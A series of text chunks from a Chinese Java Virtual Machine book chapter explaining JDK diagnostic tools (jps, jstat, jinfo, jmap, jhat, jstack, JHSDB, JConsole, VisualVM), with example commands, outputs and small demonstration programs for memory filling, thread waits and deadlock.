    {"text": "4.2.1 jps：虚拟机进程状况工具 JDK的很多小工具的名字都参考了UNIX命令的命名方式，jps（JVM Process Status Tool）是其中的典型。除了名字像UNIX的ps命令之外，它的功能也和ps命令类似：可以列出正在运行的虚拟机进程，并显示虚拟机执行主类（Main Class，main()函数所在的类）名称以及这些进程的本地虚拟机唯一ID（LVMID，Local Virtual Machine Identifier）。虽然功能比较单一，但它绝对是使用频率最高的JDK命令行工具，因为其他的JDK工具大多需要输入它查询到的LVMID来确定要监控的是哪一个虚拟机进程。对于本地虚拟机进程来说，LVMID与操作系统的进程ID（PID，Process Identifier）是一致的，使用Windows的任务管理器或者UNIX的ps命令也可以查询到虚拟机进程的LVMID，但如果同时启动了多个虚拟机进程，无法根据进程名称定位时，那就必须依赖jps命令显示主类的功能才能区分了。 jps命令格式： jps [ options ] [ hostid ] jps执行样例： jps -l 2388 D:\\Develop\\glassfish\\bin\\..\\modules\\admin-cli.jar 2764 com.sun.enterprise.glassfish.bootstrap.ASMain 3788 sun.tools.jps.Jps jps还可以通过RMI协议查询开启了RMI服务的远程虚拟机进程状态，参数hostid为RMI注册表中注册的主机名。jps的其他常用选项见表4-1。 表4-1 jps工具主要选项 4.2.2 jstat：虚拟机统计信息监视工具 jstat（JVM Statistics Monitoring Tool）是用于监视虚拟机各种运行状态信息的命令行工具。它可以显示本地或者远程 [1] 虚拟机进程中的类加载、内存、垃圾收集、即时编译等运行时数据，在没有GUI图形界面、只提供了纯文本控制台环境的服务器上，它将是运行期定位虚拟机性能问题的常用工具。 jstat命令格式为： jstat [ option vmid [interval[s|ms] [count]] ] 对于命令格式中的VMID与LVMID需要特别说明一下：如果是本地虚拟机进程，VMID与LVMID是一致的；如果是远程虚拟机进程，那VMID的格式应当是： [protocol:][//]lvmid[@hostname[:port]/servername] 参数interval和count代表查询间隔和次数，如果省略这2个参数，说明只查询一次。假设需要每250毫秒查询一次进程2764垃圾收集状况，一共查询20次，那命令应当是： jstat -gc 2764 250 20 选项option代表用户希望查询的虚拟机信息，主要分为三类：类加载、垃圾收集、运行期编译状况。详细请参考表4-2中的描述。 表4-2 jstat工具主要选项 jstat监视选项众多，囿于版面原因无法逐一演示，这里仅举一个在命令行下监视一台刚刚启动的GlassFish v3服务器的内存状况的例子，用以演示如何查看监视结果。监视参数与输出结果如代码清单4-1所示。 代码清单4-1 jstat执行样例 jstat -gcutil 2764 S0 S1 E O P YGC YGCT FGC FGCT GCT 0.00 0.00 6.20 41.42 47.20 16 0.105 3 0.472 0.577 查询结果表明：这台服务器的新生代Eden区（E，表示Eden）使用了6.2%的空间，2个Survivor区（S0、S1，表示Survivor0、Survivor1）里面都是空的，老年代（O，表示Old）和永久代（P，表示Permanent）则分别使用了41.42%和47.20%的空间。程序运行以来共发生Minor GC（YGC，表示Young GC）16次，总耗时0.105秒；发生Full GC（FGC，表示Full GC）3次，总耗时（FGCT，表示Full GC Time）为0.472秒；所有GC总耗时（GCT，表示GC Time）为0.577秒。 使用jstat工具在纯文本状态下监视虚拟机状态的变化，在用户体验上也许不如后文将会提到的JMC、VisualVM等可视化的监视工具直接以图表展现那样直观，但在实际生产环境中不一定可以使用图形界面，而且多数服务器管理员也都已经习惯了在文本控制台工作，直接在控制台中使用jstat命令依然是一种常用的监控方式。 [1] 需要远程主机提供RMI支持，JDK中提供了jstatd工具可以很方便地建立远程RMI服务器。 4.2.3 jinfo：Java配置信息工具 jinfo（Configuration Info for Java）的作用是实时查看和调整虚拟机各项参数。使用jps命令的-v参数可以查看虚拟机启动时显式指定的参数列表，但如果想知道未被显式指定的参数的系统默认值，除了去找资料外，就只能使用jinfo的-flag选项进行查询了（如果只限于JDK 6或以上版本的话，使用java-XX：+PrintFlagsFinal查看参数默认值也是一个很好的选择）。jinfo还可以使用-sysprops选项把虚拟机进程的System.getProperties()的内容打印出来。这个命令在JDK 5时期已经随着Linux版的JDK发布，当时只提供了信息查询的功能，JDK 6之后，jinfo在Windows和Linux平台都有提供，并且加入了在运行期修改部分参数值的能力（可以使用-flag[+|-]name或者-flag name=value在运行期修改一部分运行期可写的虚拟机参数值）。在JDK 6中，jinfo对于Windows平台功能仍然有较大限制，只提供了最基本的-flag选项。 jinfo命令格式： jinfo [ option ] pid 执行样例：查询CMSInitiatingOccupancyFraction参数值 jinfo -flag CMSInitiatingOccupancyFraction 1444 -XX:CMSInitiatingOccupancyFraction=85"},
    {"text": "4.2.4 jmap：Java内存映像工具 jmap（Memory Map for Java）命令用于生成堆转储快照（一般称为heapdump或dump文件）。如果不使用jmap命令，要想获取Java堆转储快照也还有一些比较“暴力”的手段：譬如在第2章中用过的-XX：+HeapDumpOnOutOfMemoryError参数，可以让虚拟机在内存溢出异常出现之后自动生成堆转储快照文件，通过-XX：+HeapDumpOnCtrlBreak参数则可以使用[Ctrl]+[Break]键让虚拟机生成堆转储快照文件，又或者在Linux系统下通过Kill-3命令发送进程退出信号“恐吓”一下虚拟机，也能顺利拿到堆转储快照。 jmap的作用并不仅仅是为了获取堆转储快照，它还可以查询finalize执行队列、Java堆和方法区的详细信息，如空间使用率、当前用的是哪种收集器等。 和jinfo命令一样，jmap有部分功能在Windows平台下是受限的，除了生成堆转储快照的-dump选项和用于查看每个类的实例、空间占用统计的-histo选项在所有操作系统中都可以使用之外，其余选项都只能在Linux/Solaris中使用。 jmap命令格式： jmap [ option ] vmid option选项的合法值与具体含义如表4-3所示。 表4-3 jmap工具主要选项 代码清单4-2是使用jmap生成一个正在运行的Eclipse的堆转储快照文件的例子，例子中的3500是通过jps命令查询到的LVMID。 代码清单4-2 使用jmap生成dump文件 jmap -dump:format=b,file=eclipse.bin 3500 Dumping heap to C:\\Users\\IcyFenix\\eclipse.bin ... Heap dump file created 4.2.5 jhat：虚拟机堆转储快照分析工具 JDK提供jhat（JVM Heap Analysis Tool）命令与jmap搭配使用，来分析jmap生成的堆转储快照。jhat内置了一个微型的HTTP/Web服务器，生成堆转储快照的分析结果后，可以在浏览器中查看。不过实事求是地说，在实际工作中，除非手上真的没有别的工具可用，否则多数人是不会直接使用jhat命令来分析堆转储快照文件的，主要原因有两个方面。一是一般不会在部署应用程序的服务器上直接分析堆转储快照，即使可以这样做，也会尽量将堆转储快照文件复制到其他机器 [1] 上进行分析，因为分析工作是一个耗时而且极为耗费硬件资源的过程，既然都要在其他机器上进行，就没有必要再受命令行工具的限制了。另外一个原因是jhat的分析功能相对来说比较简陋，后文将会介绍到的VisualVM，以及专业用于分析堆转储快照文件的Eclipse Memory Analyzer、IBM HeapAnalyzer [2] 等工具，都能实现比jhat更强大专业的分析功能。代码清单4-3演示了使用jhat分析上一节采用jmap生成的Eclipse IDE的内存快照文件。 代码清单4-3 使用jhat分析dump文件 jhat eclipse.bin Reading from eclipse.bin... Dump file created Fri Nov 19 22:07:21 CST 2010 Snapshot read, resolving... Resolving 1225951 objects... Chasing references, expect 245 dots.... Eliminating duplicate references... Snapshot resolved. Started HTTP server on port 7000 Server is ready. 屏幕显示“Server is ready.”的提示后，用户在浏览器中输入 http://localhost:7000/ 可以看到分析结果，如图4-3所示。 分析结果默认以包为单位进行分组显示，分析内存泄漏问题主要会使用到其中的“Heap Histogram”（与jmap-histo功能一样）与OQL页签的功能，前者可以找到内存中总容量最大的对象，后者是标准的对象查询语言，使用类似SQL的语法对内存中的对象进行查询统计。如果读者需要了解具体OQL的语法和使用方法，可参见本书附录D的内容。 图4-3 jhat的分析结果 [1] 用于分析的机器一般也是服务器，由于加载dump快照文件需要比生成dump更大的内存，所以一般在64位JDK、大内存的服务器上进行。 [2] IBM HeapAnalyzer用于分析IBM J9虚拟机生成的映像文件，各个虚拟机产生的映像文件格式并不一致，所以分析工具也不能通用。"},
    {"text": "4.2.6 jstack：Java堆栈跟踪工具 jstack（Stack Trace for Java）命令用于生成虚拟机当前时刻的线程快照（一般称为threaddump或者javacore文件）。线程快照就是当前虚拟机内每一条线程正在执行的方法堆栈的集合，生成线程快照的目的通常是定位线程出现长时间停顿的原因，如线程间死锁、死循环、请求外部资源导致的长时间挂起等，都是导致线程长时间停顿的常见原因。线程出现停顿时通过jstack来查看各个线程的调用堆栈，就可以获知没有响应的线程到底在后台做些什么事情，或者等待着什么资源。 jstack命令格式： jstack [ option ] vmid option选项的合法值与具体含义如表4-4所示。 表4-4 jstack工具主要选项 代码清单4-4是使用jstack查看Eclipse线程堆栈的例子，例子中的3500是通过jps命令查询到的LVMID。 代码清单4-4 使用jstack查看线程堆栈（部分结果） jstack -l 3500 2010-11-19 23:11:26 Full thread dump Java HotSpot(TM) 64-Bit Server VM (17.1-b03 mixed mode): \"[ThreadPool Manager] - Idle Thread\" daemon prio=6 tid=0x0000000039dd4000 nid= 0xf50 in Object.wait() [0x000000003c96f000] java.lang.Thread.State: WAITING (on object monitor) at java.lang.Object.wait(Native Method) - waiting on <0x0000000016bdcc60> (a org.eclipse.equinox.internal.util.impl.tpt.threadpool.Executor) at java.lang.Object.wait(Object.java:485) at org.eclipse.equinox.internal.util.impl.tpt.threadpool.Executor.run (Executor. java:106) - locked <0x0000000016bdcc60> (a org.eclipse.equinox.internal.util.impl.tpt.threadpool.Executor) Locked ownable synchronizers: - None 从JDK 5起，java.lang.Thread类新增了一个getAllStackTraces()方法用于获取虚拟机中所有线程的StackTraceElement对象。使用这个方法可以通过简单的几行代码完成jstack的大部分功能，在实际项目中不妨调用这个方法做个管理员页面，可以随时使用浏览器来查看线程堆栈，如代码清单4-5所示，这也算是笔者的一个小经验。 代码清单4-5 查看线程状况的JSP页面 <%@ page import=\"java.util.Map\"%> <html> <head> <title>服务器线程信息</title> </head> <body> <pre> <% for (Map.Entry<Thread, StackTraceElement[]> stackTrace : Thread.getAllStack-Traces().entrySet()) { Thread thread = (Thread) stackTrace.getKey(); StackTraceElement[] stack = (StackTraceElement[]) stackTrace.getValue(); if (thread.equals(Thread.currentThread())) { continue; } out.print(\"\\n线程：\" + thread.getName() + \"\\n\"); for (StackTraceElement element : stack) { out.print(\"\\t\"+element+\"\\n\"); } } %> </pre> </body> </html> 4.2.7 基础工具总结 下面表4-5～表4-14中罗列了JDK附带的全部（包括曾经存在但已经在最新版本中被移除的）工具及其简要用途，限于篇幅，本节只讲解了6个常用的命令行工具。笔者选择这几个工具除了因为它们是最基础的命令外，还因为它们已经有很长的历史，能适用于大多数读者工作、学习中使用的JDK版本。在高版本的JDK中，这些工具大多已有了功能更为强大的替代品，譬如JCMD、JHSDB的命令行模式，但使用方法也是相似的，无论JDK发展到了什么版本，学习这些基础的工具命令并不会过时和浪费。 ·基础工具：用于支持基本的程序创建和运行（见表4-5） 表4-5 基础工具 ·安全：用于程序签名、设置安全测试等（见表4-6） 表4-6 安全工具 ·国际化：用于创建本地语言文件（见表4-7） 表4-7 国际化工具 ·远程方法调用：用于跨Web或网络的服务交互（见表4-8） 表4-8 远程方法调用工具 ·Java IDL与RMI-IIOP：在JDK 11中结束了十余年的CORBA支持，这些工具不再提供 [1] （见表4-9） 表4-9 Java IDL与RMI-IIOP ·部署工具：用于程序打包、发布和部署（见表4-10） 表4-10 部署工具 ·Java Web Start（见表4-11） 表4-11 Java Web Start ·性能监控和故障处理：用于监控分析Java虚拟机运行信息，排查问题（见表4-12） 表4-12 性能监控和故障处理工具 ·WebService工具：与CORBA一起在JDK 11中被移除（见表4-13） 表4-13 WebService工具 ·REPL和脚本工具（见表4-14） 表4-14 REPL和脚本工具 [1] 详细信息见http://openjdk.java.net/jeps/320。"},
    {"text": "4.3 可视化故障处理工具 JDK中除了附带大量的命令行工具外，还提供了几个功能集成度更高的可视化工具，用户可以使用这些可视化工具以更加便捷的方式进行进程故障诊断和调试工作。这类工具主要包括JConsole、JHSDB、VisualVM和JMC四个。其中，JConsole是最古老，早在JDK 5时期就已经存在的虚拟机监控工具，而JHSDB虽然名义上是JDK 9中才正式提供，但之前已经以sa-jdi.jar包里面的HSDB（可视化工具）和CLHSDB（命令行工具）的形式存在了很长一段时间 [1] 。它们两个都是JDK的正式成员，随着JDK一同发布，无须独立下载，使用也是完全免费的。 VisualVM在JDK 6 Update 7中首次发布，直到JRockit Mission Control与OracleJDK的融合工作完成之前，它都曾是Oracle主力推动的多合一故障处理工具，现在它已经从OracleJDK中分离出来，成为一个独立发展的开源项目 [2] 。VisualVM已不是JDK中的正式成员，但仍是可以免费下载、使用的。 Java Mission Control，曾经是大名鼎鼎的来自BEA公司的图形化诊断工具，随着BEA公司被Oracle收购，它便被融合进OracleJDK之中。在JDK 7 Update 40时开始随JDK一起发布，后来Java SE Advanced产品线建立，Oracle明确区分了Oracle OpenJDK和OracleJDK的差别 [3] ，JMC从JDK 11开始又被移除出JDK。虽然在2018年Oracle将JMC开源并交付给OpenJDK组织进行管理，但开源并不意味着免费使用，JMC需要与HotSpot内部的“飞行记录仪”（Java Flight Recorder，JFR）配合才能工作，而在JDK 11以前，JFR的开启必须解锁OracleJDK的商业特性支持（使用JCMD的VM.unlock_commercial_features或启动时加入-XX：+UnlockCommercialFeatures参数），所以这项功能在生产环境中仍然是需要付费才能使用的商业特性。 为避免本节讲解的内容变成对软件说明文档的简单翻译，笔者准备了一些代码样例，大多数是笔者特意编写的反面教材。稍后将会使用几款工具去监控、分析这些代码存在的问题，算是本节简单的实战演练。读者可以把在可视化工具观察到的数据、现象，与前面两章中讲解的理论知识进行互相验证。 [1] 准确来说是Linux和Solaris在OracleJDK 6就可以使用HSDB和CLHSDB了，Windows上要到Oracle-JDK 7才可以用。 [2] VisualVM官方站点：https://visualvm.github.io。 [3] 详见https://blogs.oracle.com/java-platform-group/oracle-jdk-releases-for-java-11-and-later。"},
    {"text": "4.3.1 JHSDB：基于服务性代理的调试工具 JDK中提供了JCMD和JHSDB两个集成式的多功能工具箱，它们不仅整合了上一节介绍到的所有基础工具所能提供的专项功能，而且由于有着“后发优势”，能够做得往往比之前的老工具们更好、更强大，表4-15所示是JCMD、JHSDB与原基础工具实现相同功能的简要对比。 表4-15 JCMD、JHSDB和基础工具的对比 本节的主题是可视化的故障处理，所以JCMD及JHSDB的命令行模式就不再作重点讲解了，读者可参考上一节的基础命令，再借助它们在JCMD和JHSDB中的help去使用，相信是很容易举一反三、触类旁通的。"},
    {"text": "服务性代理是HotSpot虚拟机中一组用于映射Java虚拟机运行信息的、主要基于Java语言（含少量JNI代码）实现的API集合。 服务性代理以HotSpot内部的数据结构为参照物进行设计，把这些C++的数据抽象出Java模型对象，相当于HotSpot的C++代码的一个镜像。 通过服务性代理的API，可以在一个独立的Java虚拟机的进程里分析其他HotSpot虚拟机的内部数据，或者从HotSpot虚拟机进程内存中dump出来的转储快照里还原出它的运行状态细节。"},
    {"text": "本次，我们要借助JHSDB来分析一下代码清单4-6中的代码 [1] ，并通过实验来回答一个简单问题：staticObj、instanceObj、localObj这三个变量本身（而不是它们所指向的对象）存放在哪里？ 代码清单4-6 JHSDB测试代码 /** * staticObj、instanceObj、localObj存放在哪里？ */ public class JHSDB_TestCase { static class Test { static ObjectHolder staticObj = new ObjectHolder(); ObjectHolder instanceObj = new ObjectHolder(); void foo() { ObjectHolder localObj = new ObjectHolder(); System.out.println(\"done\"); // 这里设一个断点 } } private static class ObjectHolder {} public static void main(String[] args) { Test test = new JHSDB_TestCase.Test(); test.foo(); } } 答案读者当然都知道：staticObj随着Test的类型信息存放在方法区，instanceObj随着Test的对象实例存放在Java堆，localObject则是存放在foo()方法栈帧的局部变量表中。"},
    {"text": "首先，我们要确保这三个变量已经在内存中分配好，然后将程序暂停下来，以便有空隙进行实验，这只要把断点设置在代码中加粗的打印语句上，然后在调试模式下运行程序即可。"},
    {"text": "由于JHSDB本身对压缩指针的支持存在很多缺陷，建议用64位系统的读者在实验时禁用压缩指针，另外为了后续操作时可以加快在内存中搜索对象的速度，也建议读者限制一下Java堆的大小。"},
    {"text": "本例中，笔者采用的运行参数如下： -Xmx10m -XX:+UseSerialGC -XX:-UseCompressedOops 程序执行后通过jps查询到测试程序的进程ID，具体如下： jps -l 8440 org.jetbrains.jps.cmdline.Launcher 11180 JHSDB_TestCase 15692 jdk.jcmd/sun.tools.jps.Jps 使用以下命令进入JHSDB的图形化模式，并使其附加进程11180： jhsdb hsdb --pid 11180 命令打开的JHSDB的界面如图4-4所示。"},
    {"text": "图4-4 JHSDB的界面 阅读代码清单4-6可知，运行至断点位置一共会创建三个ObjectHolder对象的实例，只要是对象实例必然会在Java堆中分配，既然我们要查找引用这三个对象的指针存放在哪里，不妨从这三个对象开始着手，先把它们从Java堆中找出来。"},
    {"text": "首先点击菜单中的Tools->Heap Parameters [2] ，结果如图4-5所示，因为笔者的运行参数中指定了使用的是Serial收集器，图中我们看到了典型的Serial的分代内存布局，Heap Parameters窗口中清楚列出了新生代的Eden、S1、S2和老年代的容量（单位为字节）以及它们的虚拟内存地址起止范围。 图4-5 Serial收集器的堆布局 如果读者实践时不指定收集器，即使用JDK默认的G1的话，得到的信息应该类似如下所示： Heap Parameters: garbage-first heap [0x00007f32c7800000, 0x00007f32c8200000] region size 1024K 请读者注意一下图中各个区域的内存地址范围，后面还要用到它们。 打开Windows->Console窗口，使用scanoops命令在Java堆的新生代（从Eden起始地址到To Survivor结束地址）范围内查找ObjectHolder的实例，结果如下所示： hsdb>scanoops 0x00007f32c7800000 0x00007f32c7b50000 JHSDB_TestCase$ObjectHolder 0x00007f32c7a7c458 JHSDB_TestCase$ObjectHolder 0x00007f32c7a7c480 JHSDB_TestCase$ObjectHolder 0x00007f32c7a7c490 JHSDB_TestCase$ObjectHolder 果然找出了三个实例的地址，而且它们的地址都落到了Eden的范围之内，算是顺带验证了一般情况下新对象在Eden中创建的分配规则。 再使用Tools->Inspector功能确认一下这三个地址中存放的对象，结果如图4-6所示。"},
    {"text": "图4-6 查看对象实例数据 Inspector为我们展示了对象头和指向对象元数据的指针，里面包括了Java类型的名字、继承关系、实现接口关系，字段信息、方法信息、运行时常量池的指针、内嵌的虚方法表（vtable）以及接口方法表（itable）等。"},
    {"text": "由于我们的确没有在ObjectHolder上定义过任何字段，所以图中并没有看到任何实例字段数据，读者在做实验时不妨定义一些不同数据类型的字段，观察它们在HotSpot虚拟机里面是如何存储的。"},
    {"text": "接下来要根据堆中对象实例地址找出引用它们的指针，原本JHSDB的Tools菜单中有Compute Reverse Ptrs来完成这个功能，但在笔者的运行环境中一点击它就出现Swing的界面异常，看后台日志是报了个空指针，这个问题只是界面层的异常，跟虚拟机关系不大，所以笔者没有继续去深究，改为使用命令来做也很简单，先拿第一个对象来试试看： hsdb> revptrs 0x00007f32c7a7c458 Computing reverse pointers... Done. Oop for java/lang/Class @ 0x00007f32c7a7b180 果然找到了一个引用该对象的地方，是在一个java.lang.Class的实例里，并且给出了这个实例的地址，通过Inspector查看该对象实例，可以清楚看到这确实是一个java.lang.Class类型的对象实例，里面有一个名为staticObj的实例字段，如图4-7所示。"},
    {"text": "图4-7 Class对象 从《Java虚拟机规范》所定义的概念模型来看，所有Class相关的信息都应该存放在方法区之中，但方法区该如何实现，《Java虚拟机规范》并未做出规定，这就成了一件允许不同虚拟机自己灵活把握的事情。"},
    {"text": "JDK 7及其以后版本的HotSpot虚拟机选择把静态变量与类型在Java语言一端的映射Class对象存放在一起，存储于Java堆之中，从我们的实验中也明确验证了这一点 [3] 。"},
    {"text": "接下来继续查找第二个对象实例： hsdb>revptrs 0x00007f32c7a7c480 Computing reverse pointers... Done. Oop for JHSDB_TestCase$Test @ 0x00007f32c7a7c468 这次找到一个类型为JHSDB_TestCase$Test的对象实例，在Inspector中该对象实例显示如图4-8所示。 图4-8 JHSDB_TestCase$Test对象 这个结果完全符合我们的预期，第二个ObjectHolder的指针是在Java堆中JHSDB_TestCase$Test对象的instanceObj字段上。 但是我们采用相同方法查找第三个ObjectHolder实例时，JHSDB返回了一个null，表示未查找到任何结果： hsdb> revptrs 0x00007f32c7a7c490 null 看来revptrs命令并不支持查找栈上的指针引用，不过没有关系，得益于我们测试代码足够简洁，人工也可以来完成这件事情。"},
    {"text": "图4-9 main线程的栈内存 这个线程只有两个方法栈帧，尽管没有查找功能，但通过肉眼观察在地址0x00007f32e771c998上的值正好就是0x00007f32c7a7c490，而且JHSDB在旁边已经自动生成注释，说明这里确实是引用了一个来自新生代的JHSDB_TestCase$ObjectHolder对象。"},
    {"text": "JHSDB提供了非常强大且灵活的命令和功能，本节的例子只是其中一个很小的应用，读者在实际开发、学习时，可以用它来调试虚拟机进程或者dump出来的内存转储快照，以积累更多的实际经验。"},
    {"text": "[2] 效果与在Windows->Console中输入universe命令是等价的，JHSDB的图形界面中所有操作都可以通过命令行完成，读者感兴趣的话，可以在控制台中输入help命令查看更多信息。"},
    {"text": "[3] 在JDK 7以前，即还没有开始“去永久代”行动时，这些静态变量是存放在永久代上的，JDK 7起把静态变量、字符常量这些从永久代移除出去。"},
    {"text": "4.3.2 JConsole：Java监视与管理控制台 JConsole（Java Monitoring and Management Console）是一款基于JMX（Java Manage-ment Extensions）的可视化监视、管理工具。"},
    {"text": "JMX是一种开放性的技术，不仅可以用在虚拟机本身的管理上，还可以运行于虚拟机之上的软件中，典型的如中间件大多也基于JMX来实现管理与监控。 虚拟机对JMX MBean的访问也是完全开放的，可以使用代码调用API、支持JMX协议的管理控制台，或者其他符合JMX规范的软件进行访问。"},
    {"text": "图4-10 JConsole连接页面 1.启动JConsole 通过JDK/bin目录下的jconsole.exe启动JCon-sole后，会自动搜索出本机运行的所有虚拟机进程，而不需要用户自己使用jps来查询，如图4-10所示。"},
    {"text": "双击它进入JConsole主界面，可以看到主界面里共包括“概述”“内存”“线程”“类”“VM摘要”“MBean”六个页签，如图4-11所示。 图4-11 JConsole主界面 “概述”页签里显示的是整个虚拟机主要运行数据的概览信息，包括“堆内存使用情况”“线程”“类”“CPU使用情况”四项信息的曲线图，这些曲线图是后面“内存”“线程”“类”页签的信息汇总，具体内容将在稍后介绍。"},
    {"text": "2.内存监控 “内存”页签的作用相当于可视化的jstat命令，用于监视被收集器管理的虚拟机内存（被收集器直接管理的Java堆和被间接管理的方法区）的变化趋势。"},
    {"text": "运行时设置的虚拟机参数为： -Xms100m -Xmx100m -XX:+UseSerialGC 代码清单4-7 JConsole监视代码 /** * 内存占位符对象，一个OOMObject大约占64KB */ static class OOMObject { public byte[] placeholder = new byte[64 * 1024]; } public static void fillHeap(int num) throws InterruptedException { List<OOMObject> list = new ArrayList<OOMObject>(); for (int i = 0; i < num; i++) { // 稍作延时，令监视曲线的变化更加明显 Thread.sleep(50); list.add(new OOMObject()); } System.gc(); } public static void main(String[] args) throws Exception { fillHeap(1000); } 这段代码的作用是以64KB/50ms的速度向Java堆中填充数据，一共填充1000次，使用JConsole的“内存”页签进行监视，观察曲线和柱状指示图的变化。"},
    {"text": "从柱状图可以看到，在1000次循环执行结束，运行了System.gc()后，虽然整个新生代Eden和Survivor区都基本被清空了，但是代表老年代的柱状图仍然保持峰值状态，说明被填充进堆中的数据在System.gc()方法执行之后仍然存活。"},
    {"text": "2）为何执行了System.gc()之后，图4-12中代表老年代的柱状图仍然显示峰值状态，代码需要如何调整才能让System.gc()回收掉填充到堆中的对象？"},
    {"text": "图4-12 Eden区内存变化状况 问题1答案：图4-12显示Eden空间为27328KB，因为没有设置-XX：SurvivorRadio参数，所以Eden与Survivor空间比例的默认值为8∶1，因此整个新生代空间大约为27328KB×125%=34160KB。"},
    {"text": "问题2答案：执行System.gc()之后，空间未能回收是因为List<OOMObject>list对象仍然存活，fillHeap()方法仍然没有退出，因此list对象在System.gc()执行时仍然处于作用域之内 [1] 。 如果把System.gc()移动到fillHeap()方法外调用就可以回收掉全部内存。"},
    {"text": "3.线程监控 如果说JConsole的“内存”页签相当于可视化的jstat命令的话，那“线程”页签的功能就相当于可视化的jstack命令了，遇到线程停顿的时候可以使用这个页签的功能进行分析。 前面讲解jstack命令时提到线程长时间停顿的主要原因有等待外部资源（数据库连接、网络资源、设备资源等）、死循环、锁等待等，代码清单4-8将分别演示这几种情况。 代码清单4-8 线程等待演示代码 /** * 线程死循环演示 */ public static void createBusyThread() { Thread thread = new Thread(new Runnable() { @Override public void run() { while (true) // 第41行 ; } }, \"testBusyThread\"); thread.start(); } /** * 线程锁等待演示 */ public static void createLockThread(final Object lock) { Thread thread = new Thread(new Runnable() { @Override public void run() { synchronized (lock) { try { lock.wait(); } catch (InterruptedException e) { e.printStackTrace(); } } } }, \"testLockThread\"); thread.start(); } public static void main(String[] args) throws Exception { BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); br.readLine(); createBusyThread(); br.readLine(); Object obj = new Object(); createLockThread(obj); } 程序运行后，首先在“线程”页签中选择main线程，如图4-13所示。"},
    {"text": "堆栈追踪显示BufferedReader的readBytes()方法正在等待System.in的键盘输入，这时候线程为Runnable状态，Runnable状态的线程仍会被分配运行时间，但readBytes()方法检查到流没有更新就会立刻归还执行令牌给操作系统，这种等待只消耗很小的处理器资源。"},
    {"text": "这时候线程为Runnable状态，而且没有归还线程执行令牌的动作，所以会在空循环耗尽操作系统分配给它的执行时间，直到线程切换为止，这种等待会消耗大量的处理器资源。"},
    {"text": "图4-13 main线程 图4-14 testBusyThread线程 图4-15显示testLockThread线程在等待lock对象的notify()或notifyAll()方法的出现，线程这时候处于WAITING状态，在重新唤醒前不会被分配执行时间。 图4-15 testLockThread线程 testLockThread线程正处于正常的活锁等待中，只要lock对象的notify()或notifyAll()方法被调用，这个线程便能激活继续执行。"},
    {"text": "代码清单4-9 死锁代码样例 /** * 线程死锁等待演示 */ static class SynAddRunalbe implements Runnable { int a, b; public SynAddRunalbe(int a, int b) { this.a = a; this.b = b; } @Override public void run() { synchronized (Integer.valueOf(a)) { synchronized (Integer.valueOf(b)) { System.out.println(a + b); } } } } public static void main(String[] args) { for (int i = 0; i < 100; i++) { new Thread(new SynAddRunalbe(1, 2)).start(); new Thread(new SynAddRunalbe(2, 1)).start(); } } 这段代码开了200个线程去分别计算1+2以及2+1的值，理论上for循环都是可省略的，两个线程也可能会导致死锁，不过那样概率太小，需要尝试运行很多次才能看到死锁的效果。 如果运气不是特别差的话，上面带for循环的版本最多运行两三次就会遇到线程死锁，程序无法结束。 造成死锁的根本原因是Integer.valueOf()方法出于减少对象创建次数和节省内存的考虑，会对数值为-128～127之间的Integer对象进行缓存 [2] ，如果valueOf()方法传入的参数在这个范围之内，就直接返回缓存中的对象。"},
    {"text": "假如某个线程的两个synchronized块之间发生了一次线程切换，那就会出现线程A在等待被线程B持有的Integer.valueOf(1)，线程B又在等待被线程A持有的Integer.valueOf(2)，结果大家都跑不下去的情况。"},
    {"text": "图4-16 线程死锁 图4-16中很清晰地显示，线程Thread-43在等待一个被线程Thread-12持有的Integer对象，而点击线程Thread-12则显示它也在等待一个被线程Thread-43持有的Integer对象，这样两个线程就互相卡住，除非牺牲其中一个，否则死锁无法释放。"},
    {"text": "[1] 准确地说，只有虚拟机使用解释器执行的时候，“在作用域之内”才能保证它不会被回收，因为这里的回收还涉及局部变量表变量槽的复用、即时编译器介入时机等问题，具体读者可参考第8章的代码清单8-1。"},
    {"text": "4.3.3 VisualVM：多合-故障处理工具 VisualVM（All-in-One Java Troubleshooting Tool）是功能最强大的运行监视和故障处理程序之一，曾经在很长一段时间内是Oracle官方主力发展的虚拟机故障处理工具。 Oracle曾在VisualVM的软件说明中写上了“All-in-One”的字样，预示着它除了常规的运行监视、故障处理外，还将提供其他方面的能力，譬如性能分析（Profiling）。 VisualVM的性能分析功能比起JProfiler、YourKit等专业且收费的Profiling工具都不遑多让。 而且相比这些第三方工具，VisualVM还有一个很大的优点：不需要被监视的程序基于特殊Agent去运行，因此它的通用性很强，对应用程序实际性能的影响也较小，使得它可以直接应用在生产环境中。"},
    {"text": "1.VisualVM兼容范围与插件安装 VisualVM基于NetBeans平台开发工具，所以一开始它就具备了通过插件扩展功能的能力，有了插件扩展支持，VisualVM可以做到： ·显示虚拟机进程以及进程的配置、环境信息（jps、jinfo）。"},
    {"text": "VisualVM在JDK 6 Update 7中首次发布，但并不意味着它只能监控运行于JDK 6上的程序，它具备很优秀的向下兼容性，甚至能向下兼容至2003年发布的JDK 1.4.2版本 [1] ，这对无数处于已经完成实施、正在维护的遗留项目很有意义。"},
    {"text": "表4-16 VisualVM主要功能兼容性列表 首次启动VisualVM后，读者先不必着急找应用程序进行监测，初始状态下的VisualVM并没有加载任何插件，虽然基本的监视、线程面板的功能主程序都以默认插件的形式提供，但是如果不在VisualVM上装任何扩展插件，就相当于放弃它最精华的功能，和没有安装任何应用软件的操作系统差不多。 VisualVM的插件可以手工进行安装，在网站 [2] 上下载nbm包后，点击“工具->插件->已下载”菜单，然后在弹出对话框中指定nbm包路径便可完成安装。 独立安装的插件存储在VisualVM的根目录，譬如JDK 9之前自带的VisulalVM，插件安装后是放在JDK_HOME/lib/visualvm中的。 手工安装插件并不常用，VisualVM的自动安装功能已可找到大多数所需的插件，在有网络连接的环境下，点击“工具->插件菜单”，弹出如图4-17所示的插件页签，在页签的“可用插件”及“已安装”中列举了当前版本VisualVM可以使用的全部插件，选中插件后在右边窗口会显示这个插件的基本信息，如开发者、版本、功能描述等。 图4-17 VisualVM插件页签 读者可根据自己的工作需要和兴趣选择合适的插件，然后点击“安装”按钮，弹出如图4-18所示的下载进度窗口，跟着提示操作即可完成安装。 图4-18 VisualVM插件安装过程 选择一个需要监视的程序就可以进入程序的主界面了，如图4-19所示。 由于VisualVM的版本以及选择安装插件数量的不同，读者看到的页签可能和笔者的截图有所差别。 图4-19 VisualVM主界面 VisualVM中“概述”“监视”“线程”“MBeans”的功能与前面介绍的JConsole差别不大，读者可根据上一节内容类比使用，这里笔者挑选几个有特色的功能和插件进行简要介绍。"},
